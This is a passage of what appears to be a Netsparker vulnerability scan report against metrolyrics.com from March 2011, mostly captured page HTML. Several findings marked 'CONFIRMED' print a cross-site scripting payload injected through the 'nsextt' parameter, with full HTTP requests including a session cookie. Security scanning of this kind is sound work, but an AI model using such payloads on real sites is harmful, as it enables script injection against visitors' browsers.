// End Google tracking
//page specific JS
//End page specific JS
//-->
</script>
<link href="/css/g/artist_v2_sprite.css" rel="stylesheet" type="text/css" media="screen" />
<!--[if IE 6]>
<script type="text/javascript" src="/js/iepngfix_tilebg.js"></script>
<![endif]-->
<script type="text/javascript">
__compete_code = '1980f0cd513fe80da3622c2ebed79163';
(function () {
var s = document.createElement('script'),
e = document.getElementsByTagName('script')[0],
t = document.location.protocol.toLowerCase() === 'https:' ?
'https://c.compete.com/bootstrap/' :
'http://c.compete.com/bootstrap/';
s.src = t + __compete_code + '/bootstrap.js';
s.type = 'text/javascript';
s.async = true;
if (e) { e.parentNode.insertBefore(s, e); }
}());
</script>
<!-- Quantcast Tag -->
<script type="text/javascript">
var _qevents = _qevents || [];
(function() {
var elem = document.createElement('script');
elem.src = (document.location.protocol == "https:" ? "https://secure" : "http://edge") + ".quantserve.com/quant.js";
elem.async = true;
elem.type = "text/javascript";
var scpt = document.getElementsByTagName('script')[0];
scpt.parentNode.insertBefore(elem, scpt);
})();
_qevents.push({
qacct:"p-c4eKHIvvd1eXQ"
});
</script>
<noscript>
<div style="display:none;">
<img src="//pixel.quantserve.com/pixel/p-c4eKHIvvd1eXQ.gif" border="0" height="1" width="1" alt="Quantcast"/>
</div>
</noscript>
<!-- End Quantcast tag -->
</head>
<!--[if IE 6 ]><body class="ie6"><![endif]-->
<!--[if IE 7 ]><body class="ie7"><![endif]-->
<!--[if gt IE 6 ]><body><![endif]-->
<!--[if !IE]><!--><body><!--<![endif]-->
<!-- ClickTale Top part -->
<script type="text/javascript">
var WRInitTime=(new Date()).getTime();
</script>
<!-- ClickTale end of Top part -->
<div id="bg-main">
<!-- Begin comScore Tag -->
<noscript>
<div style="display:none"> <img src="http://b.scorecardresearch.com/p?c1=2&c2=6036538&c3=&c4=&c5=&c6=&c15=&cj=1" alt="scorecard tracking image"/> </div>
</noscript>
<!-- End comScore Tag -->
<script type="text/javascript" src="http://gdfp.g.doubleclick.net/N6461/adj/ROS/ROS_top_1x1;tile=1;sz=1x1;ord=1299460897?"></script>
<div id="header">
<h1>Kylie Minogue cries while talking about cancer battle</h1>
<div id="hdr-scroll">
<div id="hdr-scrollmenu">
<script type="text/javascript">var addthis_config = {ui_hover_direction: -1, data_ga_property: 'UA-50802-1', "data_track_clickback":true};</script>
<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#username=metroleap"></script>
<ul>
<li class="first"><img src="http://misc.ml-cdn.com/images/n2/loading_inline.gif" alt="Loading..." /></li>
</ul>
</div>
<div id="hdr-scrollsearch">
<form action="/search.php" method="get">
<input type="text" name="search" onclick="_gaq.push(['_trackEvent', 'Search', 'Header Dropdown Click']);if (this.value == 'Search ...') this.value=''" value="Search ..." onblur="if(this.value == '') this.value='Search ...'" id="hdr-scrollsearchip" />
<input type="hidden" name="category" value="artisttitle" />
<input type="submit" name="" value="Search" id="hdr-scrollsearchbtn" />
</form>
</div>
</div>
<div id="headertop">
<div class="headerwrap">
<ul id="navmain">
<li id="hdr-lyrics" class="navprimaryli" data-tabname="lyrics">
<a href="/" class="navprimarya" title="Lyrics" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Top Nav Button Click', 'Lyrics']);"><span></span>Lyrics</a>
<div id="hdr-sub-lyrics" class="hdr-sub hdr-subhover container_6">
<img class="tabLoad" src="http://misc.ml-cdn.com/images/n2/tabLoad.gif" alt="Loading..." />
</div>
</li>
<li id="hdr-artists" class="navprimaryli" data-tabname="artists">
<a href="/top-artists.html" title="Artists" class="navprimarya" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Top Nav Button Click', 'Artists']);"><span></span>Artists</a>
<div id="hdr-sub-artists" class="hdr-sub hdr-subhover container_6">
<img class="tabLoad" src="http://misc.ml-cdn.com/images/n2/tabLoad.gif" alt="Loading..." />
</div>
</li>
<li id="hdr-soundtracks" class="navprimaryli" data-tabname="soundtracks">
<a href="/soundtracks.html" title="soundtracks" class="navprimarya" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Top Nav Button Click', 'Soundtracks']);"><span></span>Soundtracks</a>
<div id="hdr-sub-soundtracks" class="hdr-sub hdr-subhover container_6">
<img class="tabLoad" src="http://misc.ml-cdn.com/images/n2/tabLoad.gif" alt="Loading..." />
</div>
</li>
<li id="hdr-news" class="navprimaryli" data-tabname="news">
<a href="/news.html" title="News" class="navprimarya" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Top Nav Button Click', 'News']);"><span></span>News</a>
<div id="hdr-sub-news" class="hdr-sub hdr-subhover container_6">
<img class="tabLoad" src="http://misc.ml-cdn.com/images/n2/tabLoad.gif" alt="Loading..." />
</div>
</li>
<li id="hdr-apps" class="navprimaryli" data-tabname="apps">
<a href="/apps.html" title="Apps" class="navprimarya" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Top Nav Button Click', 'Apps']);"><span></span>Apps</a>
<div id="hdr-sub-apps" class="hdr-sub hdr-subhover container_6">
<img class="tabLoad" src="http://misc.ml-cdn.com/images/n2/tabLoad.gif" alt="Loading..." />
</div>
</li>
<li id="hdr-forum" class="navprimaryli" data-tabname="forum">
<a href="/forum/" title="Forum" class="navprimarya" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Top Nav Button Click', 'Forum']);"><span></span>Forum</a>
<div id="hdr-sub-forum" class="hdr-sub hdr-subhover container_6">
<img class="tabLoad" src="http://misc.ml-cdn.com/images/n2/tabLoad.gif" alt="Loading..." />
</div>
</li>
<li id="hdr-driver" class="navprimaryli">
<a href="http://itunes.apple.com/us/app/metrolyrics-pro/id370144420?mt=8" target="_blank" rel="nofollow" title="Get our iPhone App" class="navprimarya" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Driver Click', 'metrolyrics Pro App']);">Contests</a>
</li>
</ul>
<ul id="myml">
<li class="navprimaryli"><a href="/request.php" title="My MetroLyrics" onclick="_gaq.push(['_trackEvent', 'Navigation', 'My MetroLyrics', 'Not logged in']);">My MetroLyrics<span></span></a></li>
<li class="navprimaryli"><div id="fb_login_btn"><fb:login-button size="small" perms="email"></fb:login-button></div><div id="fb-root"></div></li>
<li class="myml-alt myml-altfirst navprimaryli"><a href="/register.php" title="Sign Up for MetroLyrics" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Sign Up']);">Sign Up</a></li>
<li class="myml-alt navprimaryli"><a rel="nofollow" id="login_link" class="iframe" href="/login.php" title="Login" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Log In']);">Log In</a></li>
</ul>
</div>
</div>
<div id="headermid">
<div class="headerwrap">
<div id="headerlogo"><a href="/" title="Home">MetroLyrics</a></div>
<div id="headersearch">
<form method="get" action="/search.php">
<input type="hidden" name="category" value="artisttitle" />
<input type="text" name="search" onclick="if (this.value == 'Find Your Lyrics, Artists, Videos, more...') this.value='';_gaq.push(['_trackEvent', 'Search', 'Header Main Click']);" value="Find Your Lyrics, Artists, Videos, more..." onblur="if(this.value == '') this.value='Find Your Lyrics, Artists, Videos, more...'" id="hdr-ipsearch" />
<input type="hidden" name="category" value="artisttitle" />
<input type="submit" name="" value="Search" id="hdr-btnsearch" />
</form>
<p id="hdr-browse"></p>
</div>
</div>
</div>
<div id="headerbot">
<div class="headerwrap">
<p id="breadcrumbs">
<a href="/" id="bc-home" title="Home">Home</a> »
<a href="#" id="bc-tab"></a>
</p>
</div>
</div>
<div id="headerad">
<div id="hdrleaderboard">
<script type="text/javascript" src="http://gdfp.g.doubleclick.net/N6461/adj/ROS/ROS_top_728x90;tile=2;sz=728x90;ord=1299460897?"></script>
</div>
<div id="hdrsocial">
<div class="addthis_default_style">
<a class="addthis_button_facebook_like" fb:like:layout="box_count" fb:like:width="48" fb:like:height="63" addthis:url="http://www.facebook.com/metrolyrics"></a>
<a class="addthis_button_tweet" tw:count="vertical" addthis:url="http://www.metrolyrics.com"></a>
<a class="addthis_counter"></a>
</div>
</div>
</div>
<div id="headercta"><a href="/register.php" title="Join MetroLyrics" onclick="_gaq.push(['_trackEvent', 'Header', 'Join Community Image']);">Join the MetroLyrics Community Today!</a></div>
</div>
<div id="main">
<div id="LRcolumns">
<div id="left">
<div id="Acolumn">
<div id="navLeft">
<img src="http://artists.ml-cdn.com/profile/6747KylieMinogueProfile.jpg" alt="Kylie Minogue" width="166" />
<h2><a href="kylie-minogue-overview.html" title="Kylie Minogue Overview">Kylie Minogue</a></h2>
<p class="addtofav">
<a href="request.php?dothis=become_a_fan&artistid=6747" title="Add to My Favorites">Add to My Favorites</a>
</p>
<ul id="artistnav" title="News-int/kylie-minogue/6747/0">
<li><a title="Kylie Minogue Overview" href="/kylie-minogue-overview.html" >Overview</a></li>
<li><a title="Kylie Minogue News" href="/kylie-minogue-gossip-news.html" >News</a></li>
<li><a title="Kylie Minogue Awards" href="/kylie-minogue-awards-featured.html" >Awards</a></li>
<li><a title="Kylie Minogue Albums" href="/kylie-minogue-albums-list.html" >Albums</a></li>
<li><a title="Kylie Minogue Lyrics" href="/kylie-minogue-lyrics.html" >Lyrics</a></li>
<li><a title="Kylie Minogue Videos" href="/kylie-minogue-music-videos.html" >Videos</a></li>
<li><a title="Kylie Minogue Pictures" href="/kylie-minogue-pictures.html" >Pictures</a></li>
</ul>
</div>
<div class="module" id="ipod"><script type="text/javascript" src="http://gdfp.g.doubleclick.net/N6461/adj/ROS/ROS_top_160x600;tile=4;sz=160x600;ord=1299460897?"></script></div>
<div class="module"><div id="jqpollwrapper">
<div id="jqpoll">
<div id="jqpollhdr"><h4><span class="icoPoll"> </span>Poll</h4></div>
<div id="jqpollbody">
<p>Have you downloaded our iPhone app?</p>
<ul id="pollresults">
<li style="display:none"></li>
<li><input type="radio" name=&..
- /2011-phil-collins-quits-music-business-news.html
/2011-phil-collins-quits-music-business-news.html
CONFIRMED
|
Parameters
Parameter
|
Type
|
Value
|
nsextt
|
GET
|
" stYle=x:expre/**/ssion(alert(9)) ns="
|
Request
GET /2011-phil-collins-quits-music-business-news.html?nsextt=%22%20stYle=x:expre/**/ssion(netsparker(9))%20ns=%22 HTTP/1.1
Referer: http://www.metrolyrics.com/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.metrolyrics.com
Cookie: bblastvisit=1299460445; bbsessionhash=e10cebe70021d6be2f59d8cef6bb329f; bblastactivity=1299460453
Accept-Encoding: gzip, deflate
Connection: Keep-Alive
Response
HTTP/1.1 200 OK
X-Powered-By: PHP/5.3.2
Pragma: private
Content-Type: text/html; charset=utf-8
Content-Encoding:
Content-Length: 10165
Cache-Control: private, max-age=3600
Date: Mon, 07 Mar 2011 01:21:38 GMT
Connection: keep-alive
Vary: Accept-Encoding
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:addthis="http://www.addthis.com/help/api-spec" xmlns:fb="http://www.facebook.com/2008/fbml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta name="classification" content="music" />
<meta name="description" content="Phil Collins quits music business News about Phil Collins" />
<meta name="keywords" content="Phil Collins quits music business" />
<meta property="fb:page_id" content="81914997331" />
<title>PHIL COLLINS QUITS MUSIC BUSINESS</title>
<link rel="icon" href="/favicon.ico" type="image/x-icon" />
<link rel="search" type="application/opensearchdescription+xml" title="metrolyrics" href="/tools/ff_search_bar.xml" />
<link href="/xml/justreleased.xml" rel="alternate" type="application/rss+xml" title="Recently Released Albums" />
<link href="/xml/futurerelease.xml" rel="alternate" type="application/rss+xml" title="Upcoming Album Releases" />
<link href="/xml/topartists.xml" rel="alternate" type="application/rss+xml" title="Top 20 Artists This Week" />
<link href="/xml/topsongs.xml" rel="alternate" type="application/rss+xml" title="Top 20 Lyrics This Week" />
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.4.4/jquery.min.js"></script>
<script type="text/javascript">
<!--//
//variables
var noEgg = false;
var nav={"activeTab":"news","section":"Phil Collins","sectionURL":"phil-collins-lyrics.html","title":"Phil Collins quits music business"},
//Set dev server flag
is_dev = false,
//Analytics vars
_comscore = _comscore || [],
_gaq = _gaq || [];
//end analytics vars
//end variables
//start comscore tag
_comscore.push({ c1: "2", c2: "6036538", c3: "" });
(function() {
var s = document.createElement("script"), el = document.getElementsByTagName("script")[0]; s.async = true;
s.src = (document.location.protocol == "https:" ? "https://sb" : "http://b") + ".scorecardresearch.com/beacon.js";
el.parentNode.insertBefore(s, el);
})();
// Google tracking
_gaq.push(
['_setAccount', 'UA-50802-1'],
['_setCustomVar',1,"User Group ID",1,2],
['_trackPageview']
);
(function() {
var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';
var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
})();
// End Google tracking
//page specific JS
//End page specific JS
//-->
</script>
<link href="/css/g/artist_v2_sprite.css" rel="stylesheet" type="text/css" media="screen" />
<!--[if IE 6]>
<script type="text/javascript" src="/js/iepngfix_tilebg.js"></script>
<![endif]-->
<script type="text/javascript">
__compete_code = '1980f0cd513fe80da3622c2ebed79163';
(function () {
var s = document.createElement('script'),
e = document.getElementsByTagName('script')[0],
t = document.location.protocol.toLowerCase() === 'https:' ?
'https://c.compete.com/bootstrap/' :
'http://c.compete.com/bootstrap/';
s.src = t + __compete_code + '/bootstrap.js';
s.type = 'text/javascript';
s.async = true;
if (e) { e.parentNode.insertBefore(s, e); }
}());
</script>
<!-- Quantcast Tag -->
<script type="text/javascript">
var _qevents = _qevents || [];
(function() {
var elem = document.createElement('script');
elem.src = (document.location.protocol == "https:" ? "https://secure" : "http://edge") + ".quantserve.com/quant.js";
elem.async = true;
elem.type = "text/javascript";
var scpt = document.getElementsByTagName('script')[0];
scpt.parentNode.insertBefore(elem, scpt);
})();
_qevents.push({
qacct:"p-c4eKHIvvd1eXQ"
});
</script>
<noscript>
<div style="display:none;">
<img src="//pixel.quantserve.com/pixel/p-c4eKHIvvd1eXQ.gif" border="0" height="1" width="1" alt="Quantcast"/>
</div>
</noscript>
<!-- End Quantcast tag -->
</head>
<!--[if IE 6 ]><body class="ie6"><![endif]-->
<!--[if IE 7 ]><body class="ie7"><![endif]-->
<!--[if gt IE 6 ]><body><![endif]-->
<!--[if !IE]><!--><body><!--<![endif]-->
<!-- ClickTale Top part -->
<script type="text/javascript">
var WRInitTime=(new Date()).getTime();
</script>
<!-- ClickTale end of Top part -->
<div id="bg-main">
<!-- Begin comScore Tag -->
<noscript>
<div style="display:none"> <img src="http://b.scorecardresearch.com/p?c1=2&c2=6036538&c3=&c4=&c5=&c6=&c15=&cj=1" alt="scorecard tracking image"/> </div>
</noscript>
<!-- End comScore Tag -->
<script type="text/javascript" src="http://gdfp.g.doubleclick.net/N6461/adj/ROS/ROS_top_1x1;tile=1;sz=1x1;ord=1299460898?"></script>
<div id="header">
<h1>Phil Collins quits music business</h1>
<div id="hdr-scroll">
<div id="hdr-scrollmenu">
<script type="text/javascript">var addthis_config = {ui_hover_direction: -1, data_ga_property: 'UA-50802-1', "data_track_clickback":true};</script>
<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#username=metroleap"></script>
<ul>
<li class="first"><img src="http://misc.ml-cdn.com/images/n2/loading_inline.gif" alt="Loading..." /></li>
</ul>
</div>
<div id="hdr-scrollsearch">
<form action="/search.php" method="get">
<input type="text" name="search" onclick="_gaq.push(['_trackEvent', 'Search', 'Header Dropdown Click']);if (this.value == 'Search ...') this.value=''" value="Search ..." onblur="if(this.value == '') this.value='Search ...'" id="hdr-scrollsearchip" />
<input type="hidden" name="category" value="artisttitle" />
<input type="submit" name="" value="Search" id="hdr-scrollsearchbtn" />
</form>
</div>
</div>
<div id="headertop">
<div class="headerwrap">
<ul id="navmain">
<li id="hdr-lyrics" class="navprimaryli" data-tabname="lyrics">
<a href="/" class="navprimarya" title="Lyrics" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Top Nav Button Click', 'Lyrics']);"><span></span>Lyrics</a>
<div id="hdr-sub-lyrics" class="hdr-sub hdr-subhover container_6">
<img class="tabLoad" src="http://misc.ml-cdn.com/images/n2/tabLoad.gif" alt="Loading..." />
</div>
</li>
<li id="hdr-artists" class="navprimaryli" data-tabname="artists">
<a href="/top-artists.html" title="Artists" class="navprimarya" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Top Nav Button Click', 'Artists']);"><span></span>Artists</a>
<div id="hdr-sub-artists" class="hdr-sub hdr-subhover container_6">
<img class="tabLoad" src="http://misc.ml-cdn.com/images/n2/tabLoad.gif" alt="Loading..." />
</div>
</li>
<li id="hdr-soundtracks" class="navprimaryli" data-tabname="soundtracks">
<a href="/soundtracks.html" title="soundtracks" class="navprimarya" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Top Nav Button Click', 'Soundtracks']);"><span></span>Soundtracks</a>
<div id="hdr-sub-soundtracks" class="hdr-sub hdr-subhover container_6">
<img class="tabLoad" src="http://misc.ml-cdn.com/images/n2/tabLoad.gif" alt="Loading..." />
</div>
</li>
<li id="hdr-news" class="navprimaryli" data-tabname="news">
<a href="/news.html" title="News" class="navprimarya" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Top Nav Button Click', 'News']);"><span></span>News</a>
<div id="hdr-sub-news" class="hdr-sub hdr-subhover container_6">
<img class="tabLoad" src="http://misc.ml-cdn.com/images/n2/tabLoad.gif" alt="Loading..." />
</div>
</li>
<li id="hdr-apps" class="navprimaryli" data-tabname="apps">
<a href="/apps.html" title="Apps" class="navprimarya" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Top Nav Button Click', 'Apps']);"><span></span>Apps</a>
<div id="hdr-sub-apps" class="hdr-sub hdr-subhover container_6">
<img class="tabLoad" src="http://misc.ml-cdn.com/images/n2/tabLoad.gif" alt="Loading..." />
</div>
</li>
<li id="hdr-forum" class="navprimaryli" data-tabname="forum">
<a href="/forum/" title="Forum" class="navprimarya" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Top Nav Button Click', 'Forum']);"><span></span>Forum</a>
<div id="hdr-sub-forum" class="hdr-sub hdr-subhover container_6">
<img class="tabLoad" src="http://misc.ml-cdn.com/images/n2/tabLoad.gif" alt="Loading..." />
</div>
</li>
<li id="hdr-driver" class="navprimaryli">
<a href="http://itunes.apple.com/us/app/metrolyrics-pro/id370144420?mt=8" target="_blank" rel="nofollow" title="Get our iPhone App" class="navprimarya" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Driver Click', 'metrolyrics Pro App']);">Contests</a>
</li>
</ul>
<ul id="myml">
<li class="navprimaryli"><a href="/request.php" title="My MetroLyrics" onclick="_gaq.push(['_trackEvent', 'Navigation', 'My MetroLyrics', 'Not logged in']);">My MetroLyrics<span></span></a></li>
<li class="navprimaryli"><div id="fb_login_btn"><fb:login-button size="small" perms="email"></fb:login-button></div><div id="fb-root"></div></li>
<li class="myml-alt myml-altfirst navprimaryli"><a href="/register.php" title="Sign Up for MetroLyrics" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Sign Up']);">Sign Up</a></li>
<li class="myml-alt navprimaryli"><a rel="nofollow" id="login_link" class="iframe" href="/login.php" title="Login" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Log In']);">Log In</a></li>
</ul>
</div>
</div>
<div id="headermid">
<div class="headerwrap">
<div id="headerlogo"><a href="/" title="Home">MetroLyrics</a></div>
<div id="headersearch">
<form method="get" action="/search.php">
<input type="hidden" name="category" value="artisttitle" />
<input type="text" name="search" onclick="if (this.value == 'Find Your Lyrics, Artists, Videos, more...') this.value='';_gaq.push(['_trackEvent', 'Search', 'Header Main Click']);" value="Find Your Lyrics, Artists, Videos, more..." onblur="if(this.value == '') this.value='Find Your Lyrics, Artists, Videos, more...'" id="hdr-ipsearch" />
<input type="hidden" name="category" value="artisttitle" />
<input type="submit" name="" value="Search" id="hdr-btnsearch" />
</form>
<p id="hdr-browse"></p>
</div>
</div>
</div>
<div id="headerbot">
<div class="headerwrap">
<p id="breadcrumbs">
<a href="/" id="bc-home" title="Home">Home</a> »
<a href="#" id="bc-tab"></a>
</p>
</div>
</div>
<div id="headerad">
<div id="hdrleaderboard">
<script type="text/javascript" src="http://gdfp.g.doubleclick.net/N6461/adj/ROS/ROS_top_728x90;tile=2;sz=728x90;ord=1299460898?"></script>
</div>
<div id="hdrsocial">
<div class="addthis_default_style">
<a class="addthis_button_facebook_like" fb:like:layout="box_count" fb:like:width="48" fb:like:height="63" addthis:url="http://www.facebook.com/metrolyrics"></a>
<a class="addthis_button_tweet" tw:count="vertical" addthis:url="http://www.metrolyrics.com"></a>
<a class="addthis_counter"></a>
</div>
</div>
</div>
<div id="headercta"><a href="/register.php" title="Join MetroLyrics" onclick="_gaq.push(['_trackEvent', 'Header', 'Join Community Image']);">Join the MetroLyrics Community Today!</a></div>
</div>
<div id="main">
<div id="LRcolumns">
<div id="left">
<div id="Acolumn">
<div id="navLeft">
<img src="http://artists.ml-cdn.com/profile/9409PhilCollinsProfile.jpg" alt="Phil Collins" width="166" />
<h2><a href="phil-collins-overview.html" title="Phil Collins Overview">Phil Collins</a></h2>
<p class="addtofav">
<a href="request.php?dothis=become_a_fan&artistid=9409" title="Add to My Favorites">Add to My Favorites</a>
</p>
<ul id="artistnav" title="News-int/phil-collins/9409/0">
<li><a title="Phil Collins Overview" href="/phil-collins-overview.html" >Overview</a></li>
<li><a title="Phil Collins News" href="/phil-collins-gossip-news.html" >News</a></li>
<li><a title="Phil Collins Awards" href="/phil-collins-awards-featured.html" >Awards</a></li>
<li><a title="Phil Collins Albums" href="/phil-collins-albums-list.html" >Albums</a></li>
<li><a title="Phil Collins Lyrics" href="/phil-collins-lyrics.html" >Lyrics</a></li>
<li><a title="Phil Collins Videos" href="/phil-collins-music-videos.html" >Videos</a></li>
<li><a title="Phil Collins Pictures" href="/phil-collins-pictures.html" >Pictures</a></li>
</ul>
</div>
<div class="module" id="ipod"><script type="text/javascript" src="http://gdfp.g.doubleclick.net/N6461/adj/ROS/ROS_top_160x600;tile=4;sz=160x600;ord=1299460898?"></script></div>
<div class="module"><div id="jqpollwrapper">
<div id="jqpoll">
<div id="jqpollhdr"><h4><span class="icoPoll"> </span>Poll</h4></div>
<div id="jqpollbody">
<p>Have you downloaded our iPhone app?</p>
<ul id="pollresults">
<li style="display:none"></li>
<li><input type="radio" name="poll" value="5_18" />Yes! Love It</li><li><input type="radio" name="poll" value="5_..
- /2011-miley-cyrus-plays-lindsay-lohan-on-snl-news.html
/2011-miley-cyrus-plays-lindsay-lohan-on-snl-news.html
CONFIRMED
|
Parameters
Parameter
|
Type
|
Value
|
nsextt
|
GET
|
" stYle=x:expre/**/ssion(alert(9)) ns="
|
Request
GET /2011-miley-cyrus-plays-lindsay-lohan-on-snl-news.html?nsextt=%22%20stYle=x:expre/**/ssion(netsparker(9))%20ns=%22 HTTP/1.1
Referer: http://www.metrolyrics.com/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.metrolyrics.com
Cookie: bblastvisit=1299460445; bbsessionhash=e10cebe70021d6be2f59d8cef6bb329f; bblastactivity=1299460453
Accept-Encoding: gzip, deflate
Connection: Keep-Alive
Response
HTTP/1.1 200 OK
Server: LiteSpeed
X-Powered-By: PHP/5.3.2
Pragma: private
Content-Type: text/html; charset=utf-8
Content-Encoding:
Content-Length: 10443
Cache-Control: private, max-age=3600
Date: Mon, 07 Mar 2011 01:21:43 GMT
Connection: keep-alive
Vary: Accept-Encoding
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:addthis="http://www.addthis.com/help/api-spec" xmlns:fb="http://www.facebook.com/2008/fbml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta name="classification" content="music" />
<meta name="description" content="Miley Cyrus plays Lindsay Lohan on SNL News about Miley Cyrus" />
<meta name="keywords" content="Miley Cyrus plays Lindsay Lohan on SNL" />
<meta property="fb:page_id" content="81914997331" />
<title>MILEY CYRUS PLAYS LINDSAY LOHAN ON SNL</title>
<link rel="icon" href="/favicon.ico" type="image/x-icon" />
<link rel="search" type="application/opensearchdescription+xml" title="metrolyrics" href="/tools/ff_search_bar.xml" />
<link href="/xml/justreleased.xml" rel="alternate" type="application/rss+xml" title="Recently Released Albums" />
<link href="/xml/futurerelease.xml" rel="alternate" type="application/rss+xml" title="Upcoming Album Releases" />
<link href="/xml/topartists.xml" rel="alternate" type="application/rss+xml" title="Top 20 Artists This Week" />
<link href="/xml/topsongs.xml" rel="alternate" type="application/rss+xml" title="Top 20 Lyrics This Week" />
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.4.4/jquery.min.js"></script>
<script type="text/javascript">
<!--//
//variables
var noEgg = false;
var nav={"activeTab":"news","section":"Miley Cyrus","sectionURL":"miley-cyrus-lyrics.html","title":"Miley Cyrus plays Lindsay Lohan on SNL"},
//Set dev server flag
is_dev = false,
//Analytics vars
_comscore = _comscore || [],
_gaq = _gaq || [];
//end analytics vars
//end variables
//start comscore tag
_comscore.push({ c1: "2", c2: "6036538", c3: "" });
(function() {
var s = document.createElement("script"), el = document.getElementsByTagName("script")[0]; s.async = true;
s.src = (document.location.protocol == "https:" ? "https://sb" : "http://b") + ".scorecardresearch.com/beacon.js";
el.parentNode.insertBefore(s, el);
})();
// Google tracking
_gaq.push(
['_setAccount', 'UA-50802-1'],
['_setCustomVar',1,"User Group ID",1,2],
['_trackPageview']
);
(function() {
var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';
var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
})();
// End Google tracking
//page specific JS
//End page specific JS
//-->
</script>
<link href="/css/g/artist_v2_sprite.css" rel="stylesheet" type="text/css" media="screen" />
<!--[if IE 6]>
<script type="text/javascript" src="/js/iepngfix_tilebg.js"></script>
<![endif]-->
<script type="text/javascript">
__compete_code = '1980f0cd513fe80da3622c2ebed79163';
(function () {
var s = document.createElement('script'),
e = document.getElementsByTagName('script')[0],
t = document.location.protocol.toLowerCase() === 'https:' ?
'https://c.compete.com/bootstrap/' :
'http://c.compete.com/bootstrap/';
s.src = t + __compete_code + '/bootstrap.js';
s.type = 'text/javascript';
s.async = true;
if (e) { e.parentNode.insertBefore(s, e); }
}());
</script>
<!-- Quantcast Tag -->
<script type="text/javascript">
var _qevents = _qevents || [];
(function() {
var elem = document.createElement('script');
elem.src = (document.location.protocol == "https:" ? "https://secure" : "http://edge") + ".quantserve.com/quant.js";
elem.async = true;
elem.type = "text/javascript";
var scpt = document.getElementsByTagName('script')[0];
scpt.parentNode.insertBefore(elem, scpt);
})();
_qevents.push({
qacct:"p-c4eKHIvvd1eXQ"
});
</script>
<noscript>
<div style="display:none;">
<img src="//pixel.quantserve.com/pixel/p-c4eKHIvvd1eXQ.gif" border="0" height="1" width="1" alt="Quantcast"/>
</div>
</noscript>
<!-- End Quantcast tag -->
</head>
<!--[if IE 6 ]><body class="ie6"><![endif]-->
<!--[if IE 7 ]><body class="ie7"><![endif]-->
<!--[if gt IE 6 ]><body><![endif]-->
<!--[if !IE]><!--><body><!--<![endif]-->
<!-- ClickTale Top part -->
<script type="text/javascript">
var WRInitTime=(new Date()).getTime();
</script>
<!-- ClickTale end of Top part -->
<div id="bg-main">
<!-- Begin comScore Tag -->
<noscript>
<div style="display:none"> <img src="http://b.scorecardresearch.com/p?c1=2&c2=6036538&c3=&c4=&c5=&c6=&c15=&cj=1" alt="scorecard tracking image"/> </div>
</noscript>
<!-- End comScore Tag -->
<script type="text/javascript" src="http://gdfp.g.doubleclick.net/N6461/adj/ROS/ROS_top_1x1;tile=1;sz=1x1;ord=1299460903?"></script>
<div id="header">
<h1>Miley Cyrus plays Lindsay Lohan on SNL</h1>
<div id="hdr-scroll">
<div id="hdr-scrollmenu">
<script type="text/javascript">var addthis_config = {ui_hover_direction: -1, data_ga_property: 'UA-50802-1', "data_track_clickback":true};</script>
<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#username=metroleap"></script>
<ul>
<li class="first"><img src="http://misc.ml-cdn.com/images/n2/loading_inline.gif" alt="Loading..." /></li>
</ul>
</div>
<div id="hdr-scrollsearch">
<form action="/search.php" method="get">
<input type="text" name="search" onclick="_gaq.push(['_trackEvent', 'Search', 'Header Dropdown Click']);if (this.value == 'Search ...') this.value=''" value="Search ..." onblur="if(this.value == '') this.value='Search ...'" id="hdr-scrollsearchip" />
<input type="hidden" name="category" value="artisttitle" />
<input type="submit" name="" value="Search" id="hdr-scrollsearchbtn" />
</form>
</div>
</div>
<div id="headertop">
<div class="headerwrap">
<ul id="navmain">
<li id="hdr-lyrics" class="navprimaryli" data-tabname="lyrics">
<a href="/" class="navprimarya" title="Lyrics" onclick="_gaq.push(['_trackEvent', 'Navigation', 'Top Nav Button Click', 'Lyrics']);"><span></span>Lyrics</a>
<div id="hdr-sub-lyrics" class="hdr-sub hdr-subhover container_6">
<img class="tabLoad" src="http://misc.ml-cdn.com/images/n2/tabLoad.gif" alt="Loading..." />
</div>
</li>
<li id="hdr-artists" class="navprimaryli" data-tabname="artists">
